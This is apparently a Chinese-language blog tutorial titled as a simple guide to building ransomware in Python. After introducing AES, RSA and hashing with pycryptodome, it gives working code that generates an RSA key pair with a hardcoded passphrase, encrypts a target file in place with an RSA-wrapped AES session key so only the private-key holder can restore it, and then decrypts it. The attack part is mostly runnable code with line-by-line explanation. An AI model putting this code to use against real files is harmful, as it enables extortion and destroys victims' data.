Python勒索病毒简易实现指南

python简易实现勒索病毒

1.首先介绍Crypto库

1.1首先是对称加密

1.2 非对称加密

1.3 哈希

2.生成RSA密钥并保存

3.文件加密

4.文件解密

1. 导入必要的模块

2. 定义解密函数

3. 设置私钥的密码

4. 打开并读取文件

5. 导入私钥

6. 读取加密数据

7. 解密会话密钥

8. 创建 AES 解密器

9. 解密数据

10. 将解密后的数据写回文件

11. 调用解密函数

---

1.首先介绍Crypto库

本次实验主要使用Crypto库实现简易的加密解密

1.1首先是对称加密

从cipher中引入AES并且用于创建AES加密器，使用get_random_bytes生成密钥，并作为AES加密器的参数，对明文采用encrypt_and_digest库加密。
然后采用
cipher =AES.new(key,AES.MODE_EAX,nonce=cipher.nonce)
设计解密器并使用decrypt_and_verify进行解密

# 对称加密算法
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

#  生成密钥
key = get_random_bytes(16)  # 16 字节的密钥
#  创建 AES 加密器
cipher = AES.new(key, AES.MODE_EAX)  # 创建 AES 加密器，使用 EAX 模式
#   待加密的明文
plaintext = b'This is a secret message'
#  加密
ciphertext , tag = cipher.encrypt_and_digest(plaintext)  # 加密并生成标签

print("加密后的密文:", ciphertext)
print("标签:", tag)
#  初始化解密器
cipher = AES.new(key,AES.MODE_EAX,nonce=cipher.nonce)
#  解密
decrypted_text = cipher.decrypt_and_verify(ciphertext, tag)  # 解密并验证标签

print("解密后的明文:", decrypted_text)

这段代码是用Python编写的，使用了pycryptodome库来实现RSA加密和解密过程，以下是对这段代码的详细解释：

1.2 非对称加密

导入必要的模块

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

Crypto.PublicKey模块提供了公钥加密算法的实现，RSA是其中的一种算法。

Crypto.Cipher模块提供了加密算法的实现，PKCS1_OAEP是RSA加密的一种模式，它提供了一种更安全的加密方式，可以防止一些简单的攻击。

生成密钥对

key_pair = RSA.generate(2048)

RSA.generate(2048)生成一个2048位的RSA密钥对，包括公钥和私钥。

key_pair是一个包含公钥和私钥的对象。

定义明文

plaintext = b'This is the message to be encrypted'

定义了一个明文消息，这是一个字节串，因为RSA加密需要对字节数据进行操作。

使用PKCS1_OAEP模式加密

cipher = PKCS1_OAEP.new(key_pair.public_key())
ciphertext = cipher.encrypt(plaintext)
print("加密后的密文:", ciphertext)

PKCS1_OAEP.new(key_pair.public_key())创建了一个使用公钥的加密对象。

cipher.encrypt(plaintext)使用公钥对明文进行加密，得到密文。

打印加密后的密文。

解密

decipher = PKCS1_OAEP.new(key_pair)
decrypted_text = decipher.decrypt(ciphertext)
print("解密后的明文:", decrypted_text)

PKCS1_OAEP.new(key_pair)创建了一个使用私钥的解密对象。

decipher.decrypt(ciphertext)使用私钥对密文进行解密，得到明文。

打印解密后的明文。

完整代码：

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
# 生成密钥对
key_pair = RSA.generate(2048)
# 明文
plaintext = b'This is the message to be encrypted'
# 使用PKCS1_OAEP模式加密
cipher = PKCS1_OAEP.new(key_pair.public_key())
ciphertext = cipher.encrypt(plaintext)
print("加密后的密文:", ciphertext)
# 解密
decipher = PKCS1_OAEP.new(key_pair)
decrypted_text = decipher.decrypt(ciphertext)
print("解密后的明文:", decrypted_text)

1.3 哈希

完整代码：

from Crypto.Hash import SHA256
# 明文
plaintext = b'This is the message to be hashed'
# 哈希
hash_value = SHA256.new(plaintext).digest()
print("哈希值:", hash_value.hex())

2.生成RSA密钥并保存

CreateRSA.py，这是用来生成RSA秘钥对儿的，生成的私钥会保存在zmy_rsa文件里，生成的公钥会保存在zmy_rsa.pub文件里。

from Crypto.PublicKey import RSA
def CreateRSAKeys():
    code = 'nooneknows'
    # 生成 2048 位的 RSA 密钥
    key = RSA.generate(2048)
    encrypted_key = key.exportKey(passphrase=code, pkcs=8, protection="scryptAndAES128-CBC")
    # 生成私钥
    with open('zmy_rsa', 'wb') as f:
        f.write(encrypted_key)
    # 生成公钥
    with open('zmy_rsa.pub', 'wb') as f:
        f.write(key.publickey().exportKey())
        
CreateRSAKeys()

这段代码使用Python的Crypto库生成2048位的RSA密钥对，将私钥用密码"nooneknows"加密后保存为zmy_rsa文件，同时将公钥保存为zmy_rsa.pub文件，实现了基本的非对称密钥生成功能。

3.文件加密

1. 加密流程概述
   读取目标文件（二进制模式）。
   生成随机AES会话密钥（16字节）。
   用RSA公钥加密会话密钥（确保只有私钥持有者能解密）。
   用AES密钥加密文件内容（高效对称加密）。
   将加密后的数据写入原文件（覆盖原内容）。
2. 代码逐行解析
   （1）导入加密库

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes

AES：对称加密算法，用于加密文件内容。
PKCS1_OAEP：RSA加密填充方案（安全模式）。
RSA：非对称加密，用于加密会话密钥。
get_random_bytes：生成随机密钥。
（2）加密函数 Encrypt(filename)

def Encrypt(filename):
    data = ''
    with open(filename, 'rb') as f:
        data = f.read()  # 读取原始文件内容

以二进制模式（‘rb’）读取文件内容到 data 变量。
（3）生成并加密会话密钥

with open(filename, 'wb') as out_file:
    recipient_key = RSA.import_key(open('python-file-encryption\zmy_rsa.pub').read())
    session_key = get_random_bytes(16)  # 生成16字节AES密钥
    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    out_file.write(cipher_rsa.encrypt(session_key))  # 写入加密后的会话密钥

recipient_key：从文件加载RSA公钥（zmy_rsa.pub）。
session_key：随机生成的16字节AES密钥（每次加密不同）。
cipher_rsa.encrypt(session_key)：用RSA公钥加密会话密钥，写入文件。

（4）加密文件内容（AES）

cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)  # 加密并生成认证标签
out_file.write(cipher_aes.nonce)  # 写入随机nonce（初始化向量）
out_file.write(tag)               # 写入认证标签（防篡改）
out_file.write(ciphertext)        # 写入加密后的文件内容

AES.MODE_EAX：一种安全的AES加密模式（支持认证）。
nonce：随机数，确保相同明文每次加密结果不同。
tag：完整性校验标签，防止密文被篡改。
ciphertext：加密后的文件内容。
（5）调用加密函数

Encrypt("filename")

对指定路径的文件进行加密。
3. 加密后的文件结构
最终文件内容按顺序包含：
RSA加密的AES会话密钥（长度取决于RSA密钥大小，如2048位→256字节）。
AES的nonce（16字节）。
认证标签tag（16字节）。
加密后的文件内容（长度与原文件相同）。
4. 为什么混合使用RSA和AES？
RSA：加密短数据（如会话密钥），但速度慢，不适合大文件。
AES：加密大文件高效，但需要安全传递密钥。
结合优势：用RSA传递AES密钥，用AES加密文件。
5. 安全性注意事项
公钥必须可信：若攻击者替换公钥，可解密会话密钥。
nonce和tag不可篡改：否则解密会失败。
覆盖原文件：加密后原文件丢失，需提前备份。
密钥管理：私钥（zmy_rsa.priv）必须严格保密，否则所有文件可被解密。
6. 如何解密？
需另一段代码用RSA私钥解密会话密钥，再用AES解密文件内容。解密流程：
读取加密文件的前256字节（RSA加密的AES密钥）。
用RSA私钥解密出AES会话密钥。
读取后续的nonce、tag和密文。
用AES解密并验证完整性。
总结
这段代码是一个典型的混合加密系统，结合了RSA的安全性和AES的高效性，适用于文件加密场景。实际应用中需注意密钥管理和错误处理（如文件不存在、密钥无效等）。

4.文件解密

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP

def Descrypt(filename):
    code = 'nooneknows'
    with open(filename, 'rb') as fobj:
        # 导入私钥
        private_key = RSA.import_key(open('python-file-encryption\zmy_rsa').read(), passphrase=code)
        # 会话密钥， 随机数，消息认证码，机密的数据
        enc_session_key, nonce, tag, ciphertext = [fobj.read(x)
                                                   for x in (private_key.size_in_bytes(),
                                                             16, 16, -1)]
        cipher_rsa = PKCS1_OAEP.new(private_key)
        session_key = cipher_rsa.decrypt(enc_session_key)
        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
        # 解密
        data = cipher_aes.decrypt_and_verify(ciphertext, tag)
    with open(filename, 'wb') as wobj:
        wobj.write(data)
        
Descrypt("filename")

这段代码是一个使用 Python 的 pycryptodome 库实现的文件解密程序，主要功能是解密一个使用 RSA 和 AES 加密的文件。以下是代码的详细解释：

1. 导入必要的模块

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP

Crypto.PublicKey.RSA：用于处理 RSA 加密和解密。

Crypto.Cipher.AES：用于处理 AES 加密和解密。

Crypto.Cipher.PKCS1_OAEP：用于处理 RSA 的 OAEP 填充模式，这是一种安全的 RSA 加密方式。

2. 定义解密函数

def Descrypt(filename):

定义了一个名为 Descrypt 的函数，接受一个参数 filename，表示要解密的文件路径。

3. 设置私钥的密码

code = 'nooneknows'

定义了一个字符串变量 code，值为 'nooneknows'，这是用于解密私钥的密码。

4. 打开并读取文件

with open(filename, 'rb') as fobj:

使用 with 语句以二进制读取模式 ('rb') 打开文件，文件路径由 filename 参数指定。

fobj 是文件对象，用于后续读取文件内容。

5. 导入私钥

private_key = RSA.import_key(open('python-file-encryption\zmy_rsa').read(), passphrase=code)

打开路径为 'python-file-encryption\zmy_rsa' 的文件，读取其内容。

使用 RSA.import_key 方法导入私钥，并传入 passphrase=code，即私钥的密码 'nooneknows'。

6. 读取加密数据

enc_session_key, nonce, tag, ciphertext = [fobj.read(x)
                                           for x in (private_key.size_in_bytes(),
                                                     16, 16, -1)]

从文件中依次读取以下数据：

enc_session_key：加密的会话密钥，长度为私钥的字节大小（private_key.size_in_bytes()）。

nonce：随机数，长度为 16 字节。

tag：消息认证码，长度为 16 字节。

ciphertext：加密的数据，读取剩余的所有内容（-1 表示读取到文件末尾）。

7. 解密会话密钥

cipher_rsa = PKCS1_OAEP.new(private_key)
session_key = cipher_rsa.decrypt(enc_session_key)

使用 PKCS1_OAEP.new 创建一个 RSA 解密器，传入私钥 private_key。

使用 cipher_rsa.decrypt 方法解密 enc_session_key，得到会话密钥 session_key。

8. 创建 AES 解密器

cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)

使用 AES.new 创建一个 AES 解密器，传入会话密钥 session_key、模式 AES.MODE_EAX 和随机数 nonce。

9. 解密数据

data = cipher_aes.decrypt_and_verify(ciphertext, tag)

使用 cipher_aes.decrypt_and_verify 方法解密 ciphertext，并验证消息认证码 tag。

如果验证通过，返回解密后的数据 data。

10. 将解密后的数据写回文件

with open(filename, 'wb') as wobj:
    wobj.write(data)

使用 with 语句以二进制写入模式 ('wb') 打开文件，文件路径由 filename 参数指定。

将解密后的数据 data 写入文件。

11. 调用解密函数

Descrypt("filename")

调用 Descrypt 函数，传入文件路径 "D:/a_yan0/lesuo/2130090224 张天奇.docx"，对该文件进行解密。

这段代码实现了一个文件解密程序，主要步骤包括：

1. 导入必要的模块。
2. 定义解密函数，设置私钥密码。
3. 打开并读取加密文件。
4. 导入私钥，读取加密数据。
5. 解密会话密钥。
6. 创建 AES 解密器，解密数据。
7. 将解密后的数据写回文件。
8. 调用解密函数，对指定文件进行解密。

作者：Nina_717